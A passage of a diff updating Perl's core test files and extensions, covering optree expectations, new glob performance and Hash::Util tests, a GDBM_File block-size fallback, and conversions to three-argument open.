# i <0> pushmark s ->j
# j <$> const(PV "b-ge-a") s ->k
# l <;> nextstate(main 916 optree_constants.t:312) v:>,<,%,{ ->m
-# o <@> print vK ->p < 5.019004
-# o <@> print vK/FOLD ->p >=5.019004
+# o <@> print vK/FOLD ->p
# m <0> pushmark s ->n
# n <$> const(PV "b-cmp-a") s ->o
# p <;> nextstate(main 916 optree_constants.t:313) v:>,<,%,{ ->q
-# q <$> const(SPECIAL sv_no) s/SHORT ->r < 5.017002
-# q <$> const(SPECIAL sv_no) s/SHORT,FOLD ->r >=5.017002
+# q <$> const(SPECIAL sv_no) s/SHORT,FOLD ->r
EONT_EONT
checkOptree ( name => 'mixed constant folding, with explicit braces',
@@ -409,16 +377,14 @@ checkOptree ( name => 'mixed constant folding, with explicit braces',
# 1 <;> nextstate(main 977 (eval 28):1) v ->2
# 4 <@> print sK ->5
# 2 <0> pushmark s ->3
-# 3 <$> const[PV "foobar5"] s ->4 < 5.017002
-# 3 <$> const[PV "foobar5"] s/FOLD ->4 >=5.017002
+# 3 <$> const[PV "foobar5"] s/FOLD ->4
EOT_EOT
# 5 <1> leavesub[1 ref] K/REFC,1 ->(end)
# - <@> lineseq KP ->5
# 1 <;> nextstate(main 977 (eval 28):1) v ->2
# 4 <@> print sK ->5
# 2 <0> pushmark s ->3
-# 3 <$> const(PV "foobar5") s ->4 < 5.017002
-# 3 <$> const(PV "foobar5") s/FOLD ->4 >=5.017002
+# 3 <$> const(PV "foobar5") s/FOLD ->4
EONT_EONT
__END__
diff --git a/gnu/usr.bin/perl/ext/B/t/strict.t b/gnu/usr.bin/perl/ext/B/t/strict.t
new file mode 100644
index 00000000000..4d1b84aa20d
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/B/t/strict.t
@@ -0,0 +1,30 @@
+#!./perl -w
+
+use strict;
+use warnings;
+
+use Config;
+use Test::More;
+
+BEGIN {
+ if ( ( $Config{'extensions'} !~ /\sB\s/ ) ) {
+ plan skip_all => "Perl was not compiled with B";
+ exit 0;
+ }
+}
+
+use strict;
+use warnings;
+
+use B ();
+use O ();
+
+foreach my $module (qw/B O/) {
+ my $path = $INC{ $module . '.pm' };
+ my $check = "$^X -cw -Mstrict $path 2>&1";
+ my $got = `$check`;
+ is( $got, "$path syntax OK\n", "$module.pm compiles without errors" )
+ or diag($got);
+}
+
+done_testing();
diff --git a/gnu/usr.bin/perl/ext/B/t/terse.t b/gnu/usr.bin/perl/ext/B/t/terse.t
index 26e2e760546..7d0253addc3 100644
--- a/gnu/usr.bin/perl/ext/B/t/terse.t
+++ b/gnu/usr.bin/perl/ext/B/t/terse.t
@@ -63,7 +63,7 @@ warn "# didn't find " . join(' ', keys %ops) if keys %ops;
# add it to the regex above too. (PADOPs are currently only produced
# under ithreads, though).
#
-use vars qw( $a $b );
+our ( $a, $b );
sub bar {
# OP SVOP COP IV here or in sub definition
my @bar = (1, 2, 3);
@@ -92,11 +92,7 @@ sub bar {
# Schwern's example of finding an RV
my $path = join " ", map { qq["-I$_"] } @INC;
my $items = qx{$^X $path "-MO=Terse" -le "print \\42" 2>&1};
-if( $] >= 5.011 ) {
- like( $items, qr/IV $hex \\42/, 'RV (but now stored in an IV)' );
-} else {
- like( $items, qr/RV $hex \\42/, 'RV' );
-}
+like( $items, qr/IV $hex \\42/, 'RV (but now stored in an IV)' );
package TieOut;
diff --git a/gnu/usr.bin/perl/ext/B/t/walkoptree.t b/gnu/usr.bin/perl/ext/B/t/walkoptree.t
index 3648835b7f6..1d42dd51404 100644
--- a/gnu/usr.bin/perl/ext/B/t/walkoptree.t
+++ b/gnu/usr.bin/perl/ext/B/t/walkoptree.t
@@ -36,13 +36,13 @@ my $victim = sub {
$_[0] =~ s/(a)/ $1/;
# PMOP_pmreplroot(cPMOPo) is NULL for this
$_[0] =~ s/(b)//;
- # This gives an OP_PUSHRE
+ # This gives an OP_SPLIT
split /c/;
};
is (B::walkoptree_debug, 0, 'walkoptree_debug() is 0');
B::walkoptree(B::svref_2object($victim)->ROOT, "pie");
-foreach (qw(substcont pushre split leavesub)) {
+foreach (qw(substcont split split leavesub)) {
is ($seen{$_}, 1, "Our victim had a $_ OP");
}
is_deeply ([keys %debug], [], 'walkoptree_debug was not called');
@@ -52,7 +52,7 @@ is (B::walkoptree_debug, 1, 'walkoptree_debug() is 1');
%seen = ();
B::walkoptree(B::svref_2object($victim)->ROOT, "pie");
-foreach (qw(substcont pushre split leavesub)) {
+foreach (qw(substcont split split leavesub)) {
is ($seen{$_}, 1, "Our victim had a $_ OP");
}
is_deeply (\%debug, \%seen, 'walkoptree_debug was called correctly');
diff --git a/gnu/usr.bin/perl/ext/B/t/xref.t b/gnu/usr.bin/perl/ext/B/t/xref.t
index 32a80e73d5a..3e201c12e17 100644
--- a/gnu/usr.bin/perl/ext/B/t/xref.t
+++ b/gnu/usr.bin/perl/ext/B/t/xref.t
@@ -32,7 +32,7 @@ open STDOUT, ">&SAVEOUT" or diag $!;
# line 200
my ($curfile, $cursub, $curpack) = ('') x 3;
our %xreftable = ();
-open XREF, $file or die "# Can't open $file: $!\n";
+open XREF, '<', $file or die "# Can't open $file: $!\n";
while (<XREF>) {
print STDERR $_ if $ENV{PERL_DEBUG};
chomp;
diff --git a/gnu/usr.bin/perl/ext/Fcntl/t/fcntl.t b/gnu/usr.bin/perl/ext/Fcntl/t/fcntl.t
index b689f781cc8..af649b52ce1 100644
--- a/gnu/usr.bin/perl/ext/Fcntl/t/fcntl.t
+++ b/gnu/usr.bin/perl/ext/Fcntl/t/fcntl.t
@@ -12,11 +12,13 @@ print "1..7\n";
print "ok 1\n";
if (sysopen(my $wo, "fcntl$$", O_WRONLY|O_CREAT)) {
+ binmode $wo;
print "ok 2\n";
if (syswrite($wo, "foo") == 3) {
print "ok 3\n";
close($wo);
if (sysopen(my $ro, "fcntl$$", O_RDONLY)) {
+ binmode $ro;
print "ok 4\n";
if (sysread($ro, my $read, 3)) {
print "ok 5\n";
diff --git a/gnu/usr.bin/perl/ext/Fcntl/t/syslfs.t b/gnu/usr.bin/perl/ext/Fcntl/t/syslfs.t
index 09dea10453a..7537d548760 100644
--- a/gnu/usr.bin/perl/ext/Fcntl/t/syslfs.t
+++ b/gnu/usr.bin/perl/ext/Fcntl/t/syslfs.t
@@ -72,6 +72,7 @@ if ($^O eq 'unicos') {
sysopen(BIG, $big1, O_WRONLY|O_CREAT|O_TRUNC) or
die "sysopen $big1 failed: $!";
+binmode BIG;
sysseek(BIG, 1_000_000, SEEK_SET) or
die "sysseek $big1 failed: $!";
syswrite(BIG, "big") or
@@ -85,6 +86,7 @@ print "# s1 = @s1\n";
sysopen(BIG, $big2, O_WRONLY|O_CREAT|O_TRUNC) or
die "sysopen $big2 failed: $!";
+binmode BIG;
sysseek(BIG, 2_000_000, SEEK_SET) or
die "sysseek $big2 failed: $!";
syswrite(BIG, "big") or
@@ -127,6 +129,7 @@ EOF
sysopen(BIG, $big0, O_WRONLY|O_CREAT|O_TRUNC) or
die "sysopen $big0 failed: $!";
+binmode BIG;
my $sysseek = sysseek(BIG, 5_000_000_000, SEEK_SET);
unless (! $r && defined $sysseek && $sysseek == 5_000_000_000) {
$sysseek = 'undef' unless defined $sysseek;
@@ -192,7 +195,7 @@ is(-e $big0, 1);
is(-f $big0, 1);
sysopen(BIG, $big0, O_RDONLY) or die "sysopen failed: $!";
-
+binmode BIG;
offset('sysseek(BIG, 4_500_000_000, SEEK_SET)', 4_500_000_000);
offset('sysseek(BIG, 0, SEEK_CUR)', 4_500_000_000);
@@ -234,7 +237,7 @@ explain() unless Test::Builder->new()->is_passing();
END {
# unlink may fail if applied directly to a large file
# be paranoid about leaving 5 gig files lying around
- open(BIG, ">$big0"); # truncate
+ open(BIG, '>', $big0); # truncate
close(BIG);
}
diff --git a/gnu/usr.bin/perl/ext/File-Glob/t/basic.t b/gnu/usr.bin/perl/ext/File-Glob/t/basic.t
index 2e6a4748d4d..f0363cdcdb5 100755
--- a/gnu/usr.bin/perl/ext/File-Glob/t/basic.t
+++ b/gnu/usr.bin/perl/ext/File-Glob/t/basic.t
@@ -44,7 +44,7 @@ if (opendir(D, ".")) {
@correct = grep { !/^\./ } sort readdir(D);
closedir D;
}
-my @a = File::Glob::glob("*", 0);
+my @a = do {no warnings 'deprecated'; File::Glob::glob("*", 0);};
@a = sort @a;
if (GLOB_ERROR) {
fail(GLOB_ERROR);
@@ -192,7 +192,7 @@ if ($^O eq 'VMS') { # VMS is happily caseignorant
}
for (@f_names) {
- open T, "> $_";
+ open T, '>', $_;
close T;
}
diff --git a/gnu/usr.bin/perl/ext/File-Glob/t/rt131211.t b/gnu/usr.bin/perl/ext/File-Glob/t/rt131211.t
new file mode 100644
index 00000000000..4ac0d8729dc
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/File-Glob/t/rt131211.t
@@ -0,0 +1,112 @@
+# tests for RT 131211
+#
+# non-matching glob("a*a*a*...") went exponential time on number of a*'s
+
+
+use strict;
+use warnings;
+use v5.16.0;
+use File::Temp 'tempdir';
+use File::Spec::Functions;
+use Test::More;
+use Time::HiRes qw(time);
+use Config;
+
+plan skip_all => 'This platform doesn\'t use File::Glob'
+ if $Config{ccflags} =~ /\b{wb}-DPERL_EXTERNAL_GLOB\b{wb}/;
+plan tests => 13;
+
+my $path = tempdir uc cleanup => 1;
+my @files= (
+ "x".("a" x 50)."b", # 0
+ "abbbbbbbbbbbbc", # 1
+ "abbbbbbbbbbbbd", # 2
+ "aaabaaaabaaaabc", # 3
+ "pq", # 4
+ "r", # 5
+ "rttiiiiiii", # 6
+ "wewewewewewe", # 7
+ "weeeweeeweee", # 8
+ "weewweewweew", # 9
+ "wewewewewewewewewewewewewewewewewq", # 10
+ "wtttttttetttttttwr", # 11
+);
+
+
+# VMS needs a real extension.
+map { $_ .= '.tmp' } @files if $^O eq 'VMS';
+
+foreach (@files) {
+ open(my $f, ">", catfile $path, $_);
+}
+
+my $elapsed_fail= 0;
+my $elapsed_match= 0;
+my @got_files;
+my @no_files;
+my $count = 0;
+
+while (++$count < 10) {
+ $elapsed_match -= time;
+ @got_files= glob catfile $path, "x".("a*" x $count) . "b";
+ $elapsed_match += time;
+
+ $elapsed_fail -= time;
+ @no_files= glob catfile $path, "x".("a*" x $count) . "c";
+ $elapsed_fail += time;
+ last if $elapsed_fail > ($elapsed_match < 0.2 ? 0.2 : $elapsed_match) * 100;
+}
+
+is $count,10,
+ "tried all the patterns without bailing out"
+ or diag("elapsed_match=$elapsed_match elapsed_fail=$elapsed_fail");
+
+SKIP: {
+ skip "unstable or too small timing", 1 unless
+ $elapsed_match >= 0.001 && $elapsed_fail >= 0.001;
+ ok $elapsed_fail <= 10 * $elapsed_match,
+ "time to fail less than 10x the time to match"
+ or diag("elapsed_match=$elapsed_match elapsed_fail=$elapsed_fail");
+}
+
+is "@got_files", catfile($path, $files[0]),
+ "only got the expected file for xa*..b";
+is "@no_files", "", "shouldnt have files for xa*..c";
+
+
+@got_files= glob catfile $path, "a*b*b*b*bc";
+is "@got_files", catfile($path, $files[1]),
+ "only got the expected file for a*b*b*b*bc";
+
+@got_files= sort glob catfile $path, "a*b*b*bc";
+is "@got_files", catfile($path, $files[3])." ".catfile($path,$files[1]),
+ "got the expected two files for a*b*b*bc";
+
+@got_files= sort glob catfile $path, "p*";
+is "@got_files", catfile($path, $files[4]),
+ "p* matches pq";
+
+@got_files= sort glob catfile $path, "r*???????";
+is "@got_files", catfile($path, $files[6]),
+ "r*??????? works as expected";
+
+@got_files= sort glob catfile $path, "w*e*w??e";
+is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (7,8)),
+ "w*e*w??e works as expected";
+
+@got_files= sort glob catfile $path, "w*e*we??";
+is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (7,8,9,10)),
+ "w*e*we?? works as expected";
+
+@got_files= sort glob catfile $path, "w**e**w";
+is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (9)),
+ "w**e**w works as expected";
+
+@got_files= sort glob catfile $path, "*wee*";
+is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (8,9)),
+ "*wee* works as expected";
+
+@got_files= sort glob catfile $path, "we*";
+is "@got_files", join(" ", sort map { catfile($path, $files[$_]) } (7,8,9,10)),
+ "we* works as expected";
+
diff --git a/gnu/usr.bin/perl/ext/FileCache/lib/FileCache.pm b/gnu/usr.bin/perl/ext/FileCache/lib/FileCache.pm
index 149e88133ef..0834719d9b9 100644
--- a/gnu/usr.bin/perl/ext/FileCache/lib/FileCache.pm
+++ b/gnu/usr.bin/perl/ext/FileCache/lib/FileCache.pm
@@ -1,6 +1,6 @@
package FileCache;
-our $VERSION = '1.09';
+our $VERSION = '1.10';
=head1 NAME
@@ -91,8 +91,8 @@ no strict 'refs';
# These are not C<my> for legacy reasons.
# Previous versions requested the user set $cacheout_maxopen by hand.
# Some authors fiddled with %saw to overcome the clobber on initial open.
-use vars qw(%saw $cacheout_maxopen);
-$cacheout_maxopen = 16;
+our %saw;
+our $cacheout_maxopen = 16;
use parent 'Exporter';
our @EXPORT = qw[cacheout cacheout_close];
diff --git a/gnu/usr.bin/perl/ext/FileCache/t/01open.t b/gnu/usr.bin/perl/ext/FileCache/t/01open.t
index 07e01bac86c..c01b25a424e 100755
--- a/gnu/usr.bin/perl/ext/FileCache/t/01open.t
+++ b/gnu/usr.bin/perl/ext/FileCache/t/01open.t
@@ -2,7 +2,7 @@
use FileCache;
-use vars qw(@files);
+our @files;
BEGIN { @files = qw(foo bar baz quux Foo_Bar) }
END { 1 while unlink @files }
diff --git a/gnu/usr.bin/perl/ext/FileCache/t/02maxopen.t b/gnu/usr.bin/perl/ext/FileCache/t/02maxopen.t
index c95ba73bcac..f3470c1086b 100755
--- a/gnu/usr.bin/perl/ext/FileCache/t/02maxopen.t
+++ b/gnu/usr.bin/perl/ext/FileCache/t/02maxopen.t
@@ -1,7 +1,7 @@
#!./perl
use FileCache maxopen => 2;
-use vars qw(@files);
+our @files;
BEGIN { @files = qw(foo bar baz quux) }
END { 1 while unlink @files }
@@ -19,7 +19,7 @@ use Test::More tests => 5;
next unless fileno($path);
print $path "$path 2\n";
close($path);
- open($path, $path);
+ open($path, '<', $path);
<$path>;
push @cat, <$path>;
close($path);
diff --git a/gnu/usr.bin/perl/ext/FileCache/t/03append.t b/gnu/usr.bin/perl/ext/FileCache/t/03append.t
index f765d445ce5..3a826793577 100755
--- a/gnu/usr.bin/perl/ext/FileCache/t/03append.t
+++ b/gnu/usr.bin/perl/ext/FileCache/t/03append.t
@@ -1,7 +1,7 @@
#!./perl
use FileCache maxopen => 2;
-use vars qw(@files);
+our @files;
BEGIN { @files = qw(foo bar baz quux Foo_Bar) }
END { 1 while unlink @files }
diff --git a/gnu/usr.bin/perl/ext/FileCache/t/06export.t b/gnu/usr.bin/perl/ext/FileCache/t/06export.t
index 0fafe3bcd6c..9a46e2bebb1 100755
--- a/gnu/usr.bin/perl/ext/FileCache/t/06export.t
+++ b/gnu/usr.bin/perl/ext/FileCache/t/06export.t
@@ -1,5 +1,5 @@
#!./perl
-use vars qw(@funcs $i);
+our (@funcs, $i);
BEGIN {
# Functions exported by FileCache;
diff --git a/gnu/usr.bin/perl/ext/GDBM_File/GDBM_File.xs b/gnu/usr.bin/perl/ext/GDBM_File/GDBM_File.xs
index 33e08e20d13..7f910491166 100644
--- a/gnu/usr.bin/perl/ext/GDBM_File/GDBM_File.xs
+++ b/gnu/usr.bin/perl/ext/GDBM_File/GDBM_File.xs
@@ -23,8 +23,6 @@ typedef datum datum_key ;
typedef datum datum_value ;
typedef datum datum_key_copy;
-#define GDBM_BLOCKSIZE 0 /* gdbm defaults to stat blocksize */
-
#if defined(GDBM_VERSION_MAJOR) && defined(GDBM_VERSION_MINOR) \
&& GDBM_VERSION_MAJOR > 1 || \
(GDBM_VERSION_MAJOR == 1 && GDBM_VERSION_MINOR >= 9)
@@ -81,17 +79,28 @@ gdbm_TIEHASH(dbtype, name, read_write, mode)
char * name
int read_write
int mode
+ PREINIT:
+ GDBM_FILE dbp;
CODE:
- {
- GDBM_FILE dbp ;
-
- RETVAL = NULL ;
- if ((dbp = gdbm_open(name, GDBM_BLOCKSIZE, read_write, mode,
- (FATALFUNC) croak_string))) {
- RETVAL = (GDBM_File)safecalloc(1, sizeof(GDBM_File_type)) ;
- RETVAL->dbp = dbp ;
- }
-
+ dbp = gdbm_open(name, 0, read_write, mode, (FATALFUNC)croak_string);
+ if (!dbp && gdbm_errno == GDBM_BLOCK_SIZE_ERROR) {
+ /*
+ * By specifying a block size of 0 above, we asked gdbm to
+ * default to the filesystem's block size. That's usually the
+ * right size to choose. But some versions of gdbm require
+ * a power-of-two block size, and some unusual filesystems
+ * or devices have a non-power-of-two size that cause this
+ * defaulting to fail. In that case, force an acceptable
+ * block size.
+ */
+ dbp = gdbm_open(name, 4096, read_write, mode,
+ (FATALFUNC)croak_string);
+ }
+ if (dbp) {
+ RETVAL = (GDBM_File)safecalloc(1, sizeof(GDBM_File_type));
+ RETVAL->dbp = dbp;
+ } else {
+ RETVAL = NULL;
}
OUTPUT:
RETVAL
diff --git a/gnu/usr.bin/perl/ext/GDBM_File/t/fatal.t b/gnu/usr.bin/perl/ext/GDBM_File/t/fatal.t
index b7045bad696..0e426d4dbcd 100644
--- a/gnu/usr.bin/perl/ext/GDBM_File/t/fatal.t
+++ b/gnu/usr.bin/perl/ext/GDBM_File/t/fatal.t
@@ -18,7 +18,7 @@ BEGIN {
unlink <Op_dbmx*>;
-open my $fh, $^X or die "Can't open $^X: $!";
+open my $fh, '<', $^X or die "Can't open $^X: $!";
my $fileno = fileno $fh;
isnt($fileno, undef, "Can find next available file descriptor");
close $fh or die $!;
diff --git a/gnu/usr.bin/perl/ext/Hash-Util-FieldHash/t/12_hashwarn.t b/gnu/usr.bin/perl/ext/Hash-Util-FieldHash/t/12_hashwarn.t
index 5841c800469..3fd6bfd2dd2 100755
--- a/gnu/usr.bin/perl/ext/Hash-Util-FieldHash/t/12_hashwarn.t
+++ b/gnu/usr.bin/perl/ext/Hash-Util-FieldHash/t/12_hashwarn.t
@@ -7,8 +7,7 @@ use strict;
use warnings;
use Hash::Util::FieldHash qw( :all);
-use vars qw{ @warnings };
-
+our @warnings;
BEGIN {
$SIG{'__WARN__'} = sub { push @warnings, @_ };
$| = 1;
diff --git a/gnu/usr.bin/perl/ext/Hash-Util/t/builtin.t b/gnu/usr.bin/perl/ext/Hash-Util/t/builtin.t
new file mode 100644
index 00000000000..0705f842063
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/Hash-Util/t/builtin.t
@@ -0,0 +1,40 @@
+#!/usr/bin/perl -Tw
+
+use strict;
+use Test::More;
+
+my @Exported_Funcs;
+BEGIN {
+ @Exported_Funcs = qw( bucket_ratio num_buckets used_buckets );
+ plan tests => 13 + @Exported_Funcs;
+ use_ok 'Hash::Util', @Exported_Funcs;
+}
+foreach my $func (@Exported_Funcs) {
+ can_ok __PACKAGE__, $func;
+}
+
+my %hash;
+
+is(bucket_ratio(%hash), 0, "Empty hash has no bucket_ratio");
+is(num_buckets(%hash), 8, "Empty hash should have eight buckets");
+is(used_buckets(%hash), 0, "Empty hash should have no used buckets");
+
+$hash{1}= 1;
+is(bucket_ratio(%hash), "1/8", "hash has expected bucket_ratio");
+is(num_buckets(%hash), 8, "hash should have eight buckets");
+is(used_buckets(%hash), 1, "hash should have one used buckets");
+
+$hash{$_}= $_ for 2..7;
+
+like(bucket_ratio(%hash), qr!/(?:8|16)!, "hash has expected number of buckets in bucket_ratio");
+my $num= num_buckets(%hash);
+ok(($num == 8 || $num == 16), "hash should have 8 or 16 buckets");
+cmp_ok(used_buckets(%hash), "<", 8, "hash should have one used buckets");
+
+$hash{8}= 8;
+like(bucket_ratio(%hash), qr!/(?:8|16)!, "hash has expected number of buckets in bucket_ratio");
+$num= num_buckets(%hash);
+ok(($num == 8 || $num == 16), "hash should have 8 or 16 buckets");
+cmp_ok(used_buckets(%hash), "<=", 8, "hash should have at most 8 used buckets");
+
+
diff --git a/gnu/usr.bin/perl/ext/I18N-Langinfo/t/Langinfo.t b/gnu/usr.bin/perl/ext/I18N-Langinfo/t/Langinfo.t
index deaaf2851e4..f0768fbaa42 100755
--- a/gnu/usr.bin/perl/ext/I18N-Langinfo/t/Langinfo.t
+++ b/gnu/usr.bin/perl/ext/I18N-Langinfo/t/Langinfo.t
@@ -2,15 +2,42 @@
use strict;
use Config;
use Test::More;
+require "../../t/loc_tools.pl";
plan skip_all => "I18N::Langinfo or POSIX unavailable"
if $Config{'extensions'} !~ m!\bI18N/Langinfo\b!;
-my @constants = qw(ABDAY_1 DAY_1 ABMON_1 MON_1 RADIXCHAR AM_STR THOUSEP D_T_FMT D_FMT T_FMT);
+my @times = qw( MON_1 MON_2 MON_3 MON_4 MON_5 MON_6 MON_7
+ MON_8 MON_9 MON_10 MON_11 MON_12
+ DAY_1 DAY_2 DAY_3 DAY_4 DAY_5 DAY_6 DAY_7);
+my @constants = qw(ABDAY_1 DAY_1 ABMON_1 RADIXCHAR AM_STR THOUSEP D_T_FMT
+ D_FMT T_FMT);
+push @constants, @times;
-plan tests => 1 + 3 * @constants;
+my %want =
+ (
+ RADIXCHAR => ".",
+ THOUSEP => "",
+ );
+
+# Abbreviated and full are swapped in many locales in early netbsd
+if ( $Config{osname} !~ / netbsd /ix
+ || $Config{osvers} !~ / ^ [1-6] \. /x)
+{
+ $want{ABDAY_1} = "Sun";
+ $want{DAY_1} = "Sunday";
+ $want{ABMON_1} = "Jan";
+ $want{MON_1} = "January";
+}
+
+my @want = sort keys %want;
+
+plan tests => 1 + 3 * @constants + keys(@want) + 1 + 2;
+
+use_ok('I18N::Langinfo', 'langinfo', @constants, 'CRNCYSTR');
-use_ok('I18N::Langinfo', 'langinfo', @constants);
+use POSIX;
+setlocale(LC_ALL, "C");
for my $constant (@constants) {
SKIP: {
@@ -22,53 +49,103 @@ for my $constant (@constants) {
}
}
-exit(0);
-
-# Background: the langinfo() (in C known as nl_langinfo()) interface
-# is supposed to be a portable way to fetch various language/country
-# (locale) dependent constants like "the first day of the week" or
-# "the decimal separator". Give a portable (numeric) constant,
-# get back a language-specific string. That's a comforting fantasy.
-# Now tune in for blunt reality: vendors seem to have implemented for
-# those constants whatever they felt like implementing. The UNIX
-# standard says that one should have the RADIXCHAR constant for the
-# decimal separator. Not so for many Linux and BSD implementations.
-# One should have the CODESET constant for returning the current
-# codeset (say, ISO 8859-1). Not so. So let's give up any real
-# testing (leave the old testing code here for old times' sake,
-# though.) --jhi
-
-my %want =
- (
- ABDAY_1 => "Sun",
- DAY_1 => "Sunday",
- ABMON_1 => "Jan",
- MON_1 => "January",
- RADIXCHAR => ".",
- AM_STR => qr{^(?:am|a\.m\.)$}i,
- THOUSEP => "",
- D_T_FMT => qr{^%a %b %[de] %H:%M:%S %Y$},
- D_FMT => qr{^%m/%d/%y$},
- T_FMT => qr{^%H:%M:%S$},
- );
-
-
-my @want = sort keys %want;
-
-print "1..", scalar @want, "\n";
-
for my $i (1..@want) {
my $try = $want[$i-1];
eval { I18N::Langinfo->import($try) };
- unless ($@) {
- my $got = langinfo(&$try);
- if (ref $want{$try} && $got =~ $want{$try} || $got eq $want{$try}) {
- print qq[ok $i - $try is "$got"\n];
- } else {
- print qq[not ok $i - $try is "$got" not "$want{$try}"\n];
- }
- } else {
- print qq[ok $i - Skip: $try not defined\n];
+ SKIP: {
+ skip "$try not defined", 1, if $@;
+ no strict 'refs';
+ is (langinfo(&$try), $want{$try}, "$try => '$want{$try}'");
}
}
+my $comma_locale;
+for (find_locales( [ 'LC_NUMERIC' ] )) {
+ use POSIX;
+ use locale;
+ setlocale(LC_NUMERIC, $_) or next;
+ my $in = 4.2; # avoid any constant folding bugs
+ my $s = sprintf("%g", $in);
+ if ($s eq "4,2") {
+ $comma_locale = $_;
+ last;
+ }
+}
+
+SKIP: {
+ skip "Couldn't find a locale with a comma decimal pt", 1
+ unless $comma_locale;
+
+ no strict 'refs';
+ is (langinfo(&RADIXCHAR), ",",
+ "Returns ',' for decimal pt for locale '$comma_locale'");
+}
+
+SKIP: {
+
+ my $found_time = 0;
+ my $found_monetary = 0;
+ my @locales = find_locales( [ 'LC_TIME', 'LC_CTYPE', 'LC_MONETARY' ]);
+
+ while (defined (my $utf8_locale = find_utf8_ctype_locale(\@locales))) {
+ if (! $found_time) {
+ setlocale(&LC_TIME, $utf8_locale);
+ foreach my $time_item (@times) {
+ my $eval_string = "langinfo(&$time_item)";
+ my $time_name = eval $eval_string;
+ if ($@) {
+ fail("'$eval_string' failed: $@");
+ last SKIP;
+ }
+ if (! defined $time_name) {
+ fail("'$eval_string' returned undef");
+ last SKIP;
+ }
+ if ($time_name eq "") {
+ fail("'$eval_string' returned an empty name");
+ last SKIP;
+ }
+
+ if ($time_name =~ /\P{ASCII}/) {
+ ok(utf8::is_utf8($time_name), "The name for '$time_item' in $utf8_locale is a UTF8 string");
+ $found_time = 1;
+ last;
+ }
+ }
+ }
+
+ if (! $found_monetary) {
+ setlocale(&LC_MONETARY, $utf8_locale);
+ my $eval_string = "langinfo(&CRNCYSTR)";
+ my $symbol = eval $eval_string;
+ if ($@) {
+ fail("'$eval_string' failed: $@");
+ last SKIP;
+ }
+ if (! defined $symbol) {
+ fail("'$eval_string' returned undef");
+ last SKIP;
+ }
+ if ($symbol =~ /\P{ASCII}/) {
+ ok(utf8::is_utf8($symbol), "The name for 'CRNCYSTR' in $utf8_locale is a UTF8 string");
+ $found_monetary = 1;
+ }
+ }
+
+ last if $found_monetary && $found_time;
+
+ # Remove this locale from the list, and loop to find another utf8
+ # locale
+ @locales = grep { $_ ne $utf8_locale } @locales;
+ }
+
+ if ($found_time + $found_monetary < 2) {
+ my $message = "";
+ $message .= "time name" unless $found_time;
+ if (! $found_monetary) {
+ $message .= " nor" if $message;
+ "monetary name";
+ }
+ skip("Couldn't find a locale with a non-ascii $message", 2 - $found_time - $found_monetary);
+ }
+}
diff --git a/gnu/usr.bin/perl/ext/IPC-Open3/t/fd.t b/gnu/usr.bin/perl/ext/IPC-Open3/t/fd.t
index 2a71b1387c2..adb1f5cd65e 100644
--- a/gnu/usr.bin/perl/ext/IPC-Open3/t/fd.t
+++ b/gnu/usr.bin/perl/ext/IPC-Open3/t/fd.t
@@ -36,7 +36,7 @@ plan 3;
fresh_perl_like(<<"EOP",
use IPC::Open3;
-open FOO, '$file' or die \$!;
+open FOO, '<', '$file' or die \$!;
open3('<&' . fileno FOO, my \$out, undef, \$ENV{PERLEXE}, '-eprint scalar <STDIN>');
print <\$out>;
EOP
diff --git a/gnu/usr.bin/perl/ext/POSIX/t/sysconf.t b/gnu/usr.bin/perl/ext/POSIX/t/sysconf.t
index f23e0d3b3b9..29cf20f2102 100644
--- a/gnu/usr.bin/perl/ext/POSIX/t/sysconf.t
+++ b/gnu/usr.bin/perl/ext/POSIX/t/sysconf.t
@@ -110,7 +110,7 @@ SKIP: {
-c $TTY
or skip("$TTY not a character file", $n);
- open(TTY, $TTY)
+ open(TTY, '<', $TTY)
or skip("failed to open $TTY: $!", $n);
-t TTY
or skip("TTY ($TTY) not a terminal file", $n);
diff --git a/gnu/usr.bin/perl/ext/POSIX/t/unimplemented.t b/gnu/usr.bin/perl/ext/POSIX/t/unimplemented.t
index 2d8f8198319..6ee85f683da 100644
--- a/gnu/usr.bin/perl/ext/POSIX/t/unimplemented.t
+++ b/gnu/usr.bin/perl/ext/POSIX/t/unimplemented.t
@@ -83,15 +83,17 @@ foreach ([atexit => 'C-specific: use END {} instead'],
[strspn => 'C-specific, stopped'],
[strtok => 'C-specific, stopped'],
[tmpfile => \'IO::File::new_tmpfile'],
+ [tmpnam => \'use File::Temp'],
[ungetc => \'IO::Handle::ungetc'],
[vfprintf => 'C-specific, stopped'],
[vprintf => 'C-specific, stopped'],
[vsprintf => 'C-specific, stopped'],
+ [L_tmpnam => 'C-specific, stopped'],
) {
my ($func, $action) = @$_;
my $expect = ref $action
- ? qr/Use method $$action\(\) instead of POSIX::$func\(\) at \(eval/
- : qr/Unimplemented: POSIX::$func\(\) is \Q$action\E at \(eval/;
+ ? qr/Unimplemented: POSIX::$func\(\): .*$$action(?:\(\))? instead at \(eval/
+ : qr/Unimplemented: POSIX::$func\(\): \Q$action\E at \(eval/;
is(eval "POSIX::$func(); 1", undef, "POSIX::$func fails as expected");
like($@, $expect, "POSIX::$func gives expected error message");
}
diff --git a/gnu/usr.bin/perl/ext/POSIX/t/usage.t b/gnu/usr.bin/perl/ext/POSIX/t/usage.t
index 24e6a7e9163..8aba55c9cb9 100644
--- a/gnu/usr.bin/perl/ext/POSIX/t/usage.t
+++ b/gnu/usr.bin/perl/ext/POSIX/t/usage.t
@@ -18,7 +18,7 @@ for my $list ([qw(errno fork getchar getegid geteuid getgid getgroups getlogin
[qw(abs alarm assert chdir closedir cos exit exp fabs fstat getc
getenv getgrgid getgrnam getpwnam getpwuid gmtime isatty
localtime log opendir raise readdir remove rewind rewinddir
- rmdir sin sleep sqrt stat strerror system tolower toupper
+ rmdir sin sleep sqrt stat strerror system
umask unlink)],
[qw(atan2 chmod creat kill link mkdir pow rename strstr waitpid)],
[qw(chown fcntl utime)]) {
@@ -32,10 +32,10 @@ foreach my $func (sort @all) {
my $arg_pat = join ', ', ('[a-z]+') x $valid{$func};
my $expect = qr/\AUsage: POSIX::$func\($arg_pat\) at \(eval/;
foreach my $try (@try) {
- next if $valid{$func} == $try;
- my $call = "POSIX::$func(" . join(', ', 1 .. $try) . ')';
- is(eval "$call; 1", undef, "$call fails");
- like($@, $expect, "POSIX::$func for $try arguments gives expected error")
+ next if $valid{$func} == $try;
